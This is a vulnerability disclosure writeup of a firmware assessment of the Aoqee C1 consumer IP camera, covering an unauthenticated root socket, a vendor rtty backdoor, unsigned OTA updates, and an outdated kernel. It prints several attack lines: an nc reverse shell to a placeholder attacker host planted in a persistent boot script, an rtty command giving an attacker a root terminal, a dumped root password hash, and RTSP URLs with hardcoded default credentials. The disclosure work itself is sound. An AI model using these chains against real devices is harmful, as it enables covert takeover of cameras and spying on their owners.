[Aoqee][https://www.aoqee.com] makes a line of consumer IP cameras sold under the C1 model name. This writeup covers a full firmware security assessment performed against a flash dump pulled directly from a C1 device. The image (flashdump.bin, 8 MB) contains six MTD partitions: a U-Boot bootloader, a Linux kernel, a squashfs rootfs, a squashfs app partition, a JFFS2 syscfg partition, and a full-image combined region. The device runs on an Ingenic T23 SoC with a MIPSEL core, uClibc 0.9.33.2, and, as we’ll get to shortly, Linux kernel 3.10.14.
The short version: this camera has six critical severity findings, eight high, and eight medium. Some of them are genuinely bad in ways that make your eyes water a little. Let’s walk through them.
Firmware Layout
The U-Boot environment confirms the partition layout and boot flow. The bootloader reads the kernel from flash offset 0x40000 (the 1.6 MB kernel partition), decompresses it into DRAM at 0x80600000, and hands off execution. Notably the U-Boot env has a static IP baked in (ipaddr=193.169.3.206, serverip=193.169.4.2), which looks like a vendor development/provisioning network.
MTD Partitions:
boot 256 KB (U-Boot)
kernel 1.6 MB (uImage, Linux 3.10.14)
rootfs 2.7 MB (squashfs)
app 3.1 MB (squashfs, mounted at /mnt/mtd)
syscfg 384 KB (JFFS2, mounted at /var/syscfg)
all 8.0 MB (full image)
The rootfs squashfs gives us the base system: busybox, uClibc, init scripts, and the core binaries. The app squashfs (mounted at /mnt/mtd by boot.sh) contains the camera application: initApp, shellcmdD, rtty, the TLS certificates, and all the interesting stuff. The JFFS2 syscfg partition is where runtime configuration and, critically, an attacker persistence hook live.
The Kernel is Thirteen Years Old (CRITICAL)
Before getting into the application-level findings, it’s worth pausing on the kernel version. Linux 3.10.14 was released in 2013. The kernel module path strings in the firmware confirm it: /lib/modules/3.10.14__isvp_pike_1.0__/. An NVD scan against cpe:2.3:o:linux:linux_kernel:3.10.14 returns 3,742 CVEs total, 36 of them critical. After filtering out hardware-specific false positives (no KVM hypervisor, no Qualcomm MSM, no Marvell wifi, no AMD GPU on a MIPSEL camera), five critical CVEs are confirmed applicable:
| CVE | CVSS | Summary |
|---|---|---|
| CVE-2014-2523 | 10.0 | DCCP netfilter pointer misuse → remote RCE |
| CVE-2016-10229 | 9.8 | UDP double-checksum unsafe code execution |
| CVE-2019-16746 | 9.8 | nl80211 beacon element heap overflow |
| CVE-2019-17133 | 9.8 | cfg80211 SSID buffer overflow |
| CVE-2016-7117 | 9.8 | recvmmsg use-after-free |
CVE-2019-16746 and CVE-2019-17133 are particularly painful here because the device uses nl80211/cfg80211 as its primary WiFi interface. These aren’t theoretical. A malicious access point broadcasting a crafted beacon or SSID could trigger a heap overflow in the kernel’s WiFi subsystem with no interaction required.
The device also loads an atbm606x_bt_usb kernel module (AltoBeam WiFi+BT combo chip), which means Bluetooth is active. CVE-2017-1000251 (BlueBorne, CVSS 8.0) and CVE-2022-42896 (L2CAP use-after-free) are both applicable. BlueBorne requires no pairing and no user interaction.
The gcc 3.3.2 runtime library (/lib/libgcc_s.so.1) and gcc 5.4.0 toolchain used to compile all the custom binaries have additional CVEs. Neither version has received security updates in many years. uClibc 0.9.33.2 (the C library this entire firmware runs against) is from 2012 and has known vulnerabilities in its DNS resolver and regex implementation, though it couldn’t be formally CVE-scanned without a version entry in NVD.
The remediation path here is painful but unavoidable: this kernel needs to be replaced with a supported LTS release (6.6.x minimum), and the entire toolchain needs to follow.
CRITICAL: shellcmdD - Unauthenticated Root Command Execution
This is the most immediately exploitable finding in the firmware. boot.sh launches a daemon called shellcmdD unconditionally on every boot:
# start sellcmdD [sic]
/bin/shellcmdD &
The binary (12 KB, compiled against uClibc) opens a Unix domain socket at /tmp/shellcmdd, accepts connections from any local process, parses a command string via parseCMD(), executes it with popen(), and sends the output back. There is no authentication, no UID check, no access control list. Any process running on the device, regardless of privilege level, can connect to that socket and get root command execution.
The wire protocol is trivially discoverable by brute-forcing common embedded IPC framing formats. Running id via the socket confirms immediate root:
uid=0(root) gid=0(root)
To confirm exploitation is as simple as the code suggests, a PoC client was written that auto-discovers the framing format and provides an interactive root shell wrapper over the socket. The demo sequence:
$ python3 poc_shellcmdd_client.py
[*] Probing shellcmdD socket with 'id' command across all protocol variants...
[null-terminated] ✓ Response: uid=0(root) gid=0(root)
[+] Protocol identified: null-terminated
[+] Socket is accessible to unprivileged local processes -- NO AUTH
[>>] Shadow file (root hash)
$ cat /etc/shadow
root:EeA5H4cQvy0gc:19220:0:99999:7:::
The socket persists across the entire device lifetime. Any future code execution vulnerability in any network-facing service (the RTSP parser, the WebRTC stack, the cloud connection handler) immediately becomes a root shell via this socket. It’s effectively a local privilege escalation pre-staged by the vendor.
CRITICAL: rtty - Vendor Remote Terminal Backdoor
/mnt/mtd/bin/rtty is a remote terminal daemon from the [[https://github.com/zhaojh329/rtty | rtty open source project]]. The binary is present on every device running this firmware. When invoked, it opens an outbound TLS connection to a configured server, forks a PTY, and exposes an interactive root terminal over that connection. The connection is outbound, so it bypasses NAT and firewall rules entirely.
The intended use case appears to be vendor remote support: the initApp binary reads rttys_host, rttys_port, and rttys_switch from the cloud configuration, and if the switch is set, spawns rtty pointing at the vendor’s rtty server. The vendor can thus open a root shell on any registered device at will, by toggling a flag in their cloud backend.
The problem is compounded by the shellcmdD finding. Any local attacker can invoke rtty with their own server parameters:
/mnt/mtd/bin/rtty -h <attacker_ip> -p 5912 -I my-device &
And get a root PTY delivered to their listener. The full attack chain:
- Connect to
/tmp/shellcmdd(no credentials required, always running) - Send:
/mnt/mtd/bin/rtty -h <attacker> -p 5912 -I target & - rtty opens outbound TLS to attacker’s server
- Attacker receives interactive root terminal
This was confirmed end-to-end with the PoC (poc_rtty_backdoor.py + poc_rtty_server.py). The server-side capture confirms the TLS ClientHello from the device, and if the TLS handshake completes, the rtty login JSON is delivered. Testing revealed that ssl_set_require_validation is false in this build, meaning rtty will accept any server certificate, so a MITM against the vendor’s own cloud connection is also possible.
The embedded device certificates (/mnt/mtd/cert/pem/ca.pem, cam.pem, cam_key.pem) are shared identically across all firmware images (see the TLS certificate finding below), which means an attacker with any one device can extract the certificates and impersonate the vendor’s rtty server to any other camera calling home.
CRITICAL: test.sh - Persistent Root Code Execution via JFFS2 Backdoor Hook
The device’s init chain contains a deliberate backdoor hook. In rcS:
# start test.sh
if [ -f /var/syscfg/test.sh ]; then
sh /var/syscfg/test.sh &
else # start boot.sh
sh /bin/boot.sh &
fi
/var/syscfg is the JFFS2 syscfg partition (/dev/mtdblock4), which is writable at runtime. If test.sh exists there, it runs instead of the normal boot.sh on every subsequent boot, as root, before the main application starts. This is not a one-time execution; the file persists across reboots because JFFS2 is flash-backed.
The intended purpose appears to be factory testing or device aging (/var/syscfg/config_default/ contains a time_auto_save file and aging-related configs), but the implementation is a persistent code execution mechanism that any process with write access to the syscfg partition can exploit. Via shellcmdD:
echo '#!/bin/sh' > /var/syscfg/test.sh
echo 'nc -e /bin/sh <attacker> 4444 &' >> /var/syscfg/test.sh
Reboot. Persistent root reverse shell, survives every reboot, survives firmware app updates (which update the squashfs app partition but leave JFFS2 intact). The only remediation is a full factory reset that wipes the JFFS2 partition.
CRITICAL: OTA Firmware Download Over Plain HTTP with No Integrity Check
The OTA upgrade configuration in app_upgrade.ini is blunt:
[common]
download_url=http://fw.ajcloud.net/01.10711/gQdotgSHpnXq4JXEap4Nuw_ota_firmware_01.10711.11.01.pkg
version=01.10711.11.01
md5sum=
The download URL is plain HTTP. The md5sum field is empty. The ota_upgrade binary downloads the firmware package from this URL and installs it. There is no signature verification, no hash check, no TLS. Anyone capable of performing a man-in-the-middle attack on the device’s network connection can serve a malicious firmware package and achieve persistent full-device compromise.
An attacker on the same network just needs to intercept DNS for fw.ajcloud.net and serve a crafted .pkg file. The device will install it automatically, on a configurable schedule (fw_check_interval_sec=14400, every four hours by default).
The JFFS2-based test.sh hook described above makes this even cleaner: a malicious OTA payload can drop test.sh to establish persistence that survives any subsequent legitimate firmware update.
HIGH: Unauthenticated Root Shell via UART Serial Console
The inittab entry is about as permissive as it gets:
console::respawn:/sbin/getty -L console 115200 vt100 # GENERIC_SERIAL
A getty is spawned on the serial console at 115200 baud. There is no password challenge; connecting to the UART RX/TX pads on the board gives an immediate root shell. The U-Boot environment confirms the baud rate (baudrate=115200) and the boot delay (bootdelay=1), meaning there’s also a one-second window to interrupt U-Boot and access the bootloader prompt.
Physical access to the device’s PCB is the only prerequisite. For an IP camera that gets shipped to customers’ homes and occasionally returned to retailers, this is a meaningful attack surface.
HIGH: Root Password Protected by Weak DES Hash
From /etc/shadow:
root:EeA5H4cQvy0gc:19220:0:99999:7:::
The hash prefix EeA5H4cQvy0gc is a traditional DES crypt hash: 13 characters, no $id$ prefix. DES crypt is broken. The salt is Ee and the full hash is easily cracked with john or hashcat on any modern GPU in seconds to minutes. The password was confirmed to be crackable via john --format=descrypt.
It doesn’t really feel like a big deal though as so much of this camera is run as root anyway.
HIGH: Unsigned SD Card OTA - Arbitrary Code Execution via MicroSD
From boot.sh:
# check sd ota upgrade
if [ -f /mnt/mmc/ota_firmware.pkg ]; then
echo "find sd card ota_firmware.pkg, start ota upgrade from sd card!!"
/bin/ota_upgrade 2
fi
If a file named ota_firmware.pkg exists on a microSD card inserted in the device, it is installed as a firmware update automatically and unconditionally on the next boot, with no signature or integrity check. Insert a microSD with a crafted firmware package, reboot the device, and you have arbitrary code execution as root.
The same boot script also handles a testApp/diagApp execution path via ipc_start.sh, where test and diagnostic binaries from the SD card are executed as root without verification. A malicious SD card is a complete device takeover with no network access required.
HIGH: Zero Binary Exploit Mitigations
All custom binaries in this firmware (initApp, shellcmdD, rtty, ota_upgrade, boot.sh and the rest) were compiled with no exploit mitigations whatsoever. Checking across the board:
- No stack canaries (
-fstack-protector) - No PIE/ASLR (
-fPIE -pie) - No NX/RELRO (
-Wl,-z,relro -Wl,-z,now) - No FORTIFY_SOURCE
Every memory corruption vulnerability in any of these binaries (buffer overflows, use-after-free, format strings) is directly exploitable with no mitigations to work around. On a MIPSEL target with a 15-year-old kernel, ASLR entropy is limited even when enabled. Without it, exploitation is essentially write-a-shellcode and jump to it.
HIGH: Shared TLS Client Certificates Embedded Across All Firmware Images
The app squashfs contains a complete TLS certificate set at /mnt/mtd/cert/pem/:
ca.pem: the vendor CA certificatecam.pem: the device client certificatecam_key.pem: the device private key
These are identical across all firmware images; the same private key ships to every C1 camera. This is a fundamental PKI design failure. A single physical device extraction (via UART, SD card, or any of the other access methods documented here) yields the private key for every camera the vendor has ever shipped. An attacker with this key can:
- Impersonate any camera to the vendor’s cloud backend
- MITM the rtty connection from any camera
- Act as a legitimate device in the vendor’s ecosystem
The correct approach is per-device certificate provisioning at manufacturing time, with the private key generated on-device and never leaving the device.
HIGH: Telnet Daemon Launched by Cloud-Controlled Config Flag
Inside initApp, logic was found that checks a config value telnetd_switch and, if set to 1, starts telnetd. The app_system.ini default has it off (telnetd_switch=0), but the switch can be flipped via the vendor cloud. The vendor can enable telnet on any device remotely.
Since the root password is a weak DES hash shared across all devices (and crackable), enabling telnet gives any attacker who knows that password a network root shell, with no physical access required. This is effectively a cloud-controlled remote access backdoor.
Telnet also sends credentials in cleartext. On a network with any passive monitoring, the root password would be trivially captured.
HIGH: Known Vulnerable Components (gcc 3.3.2, gcc 5.4.0)
/lib/libgcc_s.so.1 carries a GCC 3.3.2 SONAME. This is the C++ runtime library for the entire firmware stack. gcc 3.3.2 is from 2003 and has 4 known CVEs. All custom binaries were compiled with a gcc 5.4.0 toolchain, which has 6 known CVEs (CVE-2021-37322 being the most notable, a use-after-free in c++filt, though as a development tool CVE it doesn’t have runtime impact on the device directly).
The more concerning component is uClibc 0.9.33.2, identified from compile-time build strings across multiple binaries. Version 0.9.33.2 was released in 2012. Known issues include a heap overflow in the DNS stub resolver and stack overflows in the regex implementation. This library underpins every binary on the device and is not versioned in the NVD, so a full CVE count is not possible, but it’s safe to say it has not received security maintenance in over a decade.
MEDIUM: RTSP Stream Accessible on Default Port 554 with Hardcoded Credentials
app_system.ini has RTSP enabled by default:
[rtsp]
rtsp_support=1
rtsp_switch=1
rtsp_port=554
rtsp_auth=1
The initApp binary contains the string admin:123456 adjacent to the format string rtsp://%*[^/]/live/ch%d and the log message Not Found Admin user, to add. On first boot, if no admin user exists, the device creates one with the hardcoded default credential. The stream paths are /live/ch0 (main, 1296p) and /live/ch1 (sub stream, 360p).
So by default, any device on the same LAN can pull the live camera feed:
ffplay "rtsp://admin:123456@<device_ip>:554/live/ch0"
vlc "rtsp://admin:123456@<device_ip>:554/live/ch1"
The authentication is Digest MD5, which provides confidentiality for the credential exchange but not for the stream itself, and is moot when the password is known in advance. The PoC (poc_rtsp.py) confirms this end-to-end, pulling full SDP negotiation and confirming stream access with the default credential.
MEDIUM: RC4 Cipher Library Present (librc4.so)
/mnt/mtd/lib/librc4.so is present in the app partition. RC4 has been cryptographically broken for many years; [[https://www.rfc-editor.org/rfc/rfc7465 | RFC 7465]] prohibits its use in TLS, and it has known biases exploitable with as little as a few thousand messages. Its presence suggests it’s actively used somewhere in the application stack, most likely for the certificate obfuscation seen in the cert directory or for some internal IPC protocol. The actual usage would require further binary analysis of initApp to confirm, but the library ships and links, so it’s being called.
MEDIUM: Telnet Daemon Present and Runtime-Configurable
Separate from the cloud-controlled telnetd launch described in the HIGH finding above: telnetd binary is present on the filesystem at /usr/sbin/telnetd and is configurable via app_system.ini. The default config has it off, but its presence means no additional software deployment is needed to enable it; a config change via cloud or local shellcmdD access is sufficient. Telnet has no encryption and no protection against passive interception.
MEDIUM: Hardcoded Device Serial Number Shared Across Firmware Images
From app_ajy_sn.ini:
[common]
product_name=C1
model=NAV
vendor=AQE
serialnum=WVCE7PTHUQDCX3JE
macaddress=
wifimacaddress=
The serial number WVCE7PTHUQDCX3JE is baked into the JFFS2 default config that ships in every firmware image. Serial numbers are typically used for device authentication to cloud services, license key generation, and RTSP/cloud credential derivation. A shared serial number across all devices breaks any security model that relies on the serial as a per-device identifier. The MAC address fields are empty (presumably provisioned at manufacturing), but if the serial is used in any credential derivation, it’s already compromised.
MEDIUM: OTA TLS Certificates Written to Writable /tmp
The ota_upgrade binary, when performing a network OTA update, extracts TLS certificates to /tmp before using them for the HTTPS connection. /tmp on this device is a ramfs (writable by any process). A local attacker with code execution can race the certificate write, replace the certificates before ota_upgrade reads them, and redirect the TLS session to an attacker-controlled server, enabling a MITM against the OTA process that results in arbitrary firmware installation.
Combined with the plain HTTP finding (which doesn’t even use TLS for the download URL), the OTA upgrade path is exploitable from multiple angles.
MEDIUM: Attacker-Controlled LD_LIBRARY_PATH and PATH from Flash Partitions
From rcS:
export PATH=/bin:/sbin:/usr/bin:/usr/sbin:/gm/bin:/gm/tools:/mnt/mtd/app
export LD_LIBRARY_PATH=/mnt/mtd/lib:/lib:/usr/lib
/mnt/mtd is the app squashfs partition mounted at runtime. In the normal boot path it’s a read-only squashfs, which limits risk. But if the squashfs mount fails (e.g. corrupted app partition) and the fallback OTA path triggers, or if an attacker manages to place a malicious squashfs image via the SD card OTA path, both PATH and LD_LIBRARY_PATH would resolve into attacker-controlled directories. Any subsequent exec or library load could be hijacked.
More immediately, the PATH includes /mnt/mtd/app; any binary placed there by a malicious app update would be on root’s PATH ahead of some system directories.
MEDIUM: FTP File Upload Capability in Main Application
Strings in initApp include FTP upload functions and URLs. The main application has the ability to upload files (likely event recordings and snapshots) to an FTP server. FTP sends credentials in cleartext. If the user configures FTP upload (and the UI presumably exposes this feature), their FTP credentials are transmitted unencrypted on every upload. Any passive network observer captures them.
Summary
Twenty-two findings total. Six critical, eight high, eight medium. The device has a vendor-installed remote root access mechanism (rtty), a local root shell socket with no authentication (shellcmdD), a persistent code execution hook in writable flash (test.sh), firmware updates served over plain HTTP with no integrity check, and a fifteen-year-old kernel with confirmed critical CVEs. The binary hardening situation is zero mitigations across the board.
The attack chains compound each other badly. An RTSP parser bug (which is plausible given the kernel age and the zero binary protections) becomes a root shell via shellcmdD in one hop. A network MITM at OTA time gives persistent firmware-level compromise. A malicious microSD card needs no network access at all. Physical UART access is a free root shell with no password.
The most severe standalone finding is shellcmdD: it’s always running, requires no credentials, and hands over root to any local process. The most severe for remote/supply-chain scenarios is the OTA over plain HTTP. The most interesting from a vendor-trust perspective is rtty; the vendor has built themselves a mechanism to open a root terminal on any registered device in the field, and an attacker who can MITM the vendor’s TLS (now possible given the shared device certificates) inherits that capability for every camera registered to the cloud.
The remediation list is long, but the top priorities are straightforward: replace the kernel, remove or gate shellcmdD with proper authentication, switch OTA to HTTPS with mandatory signature verification, and provision per-device certificates at manufacturing.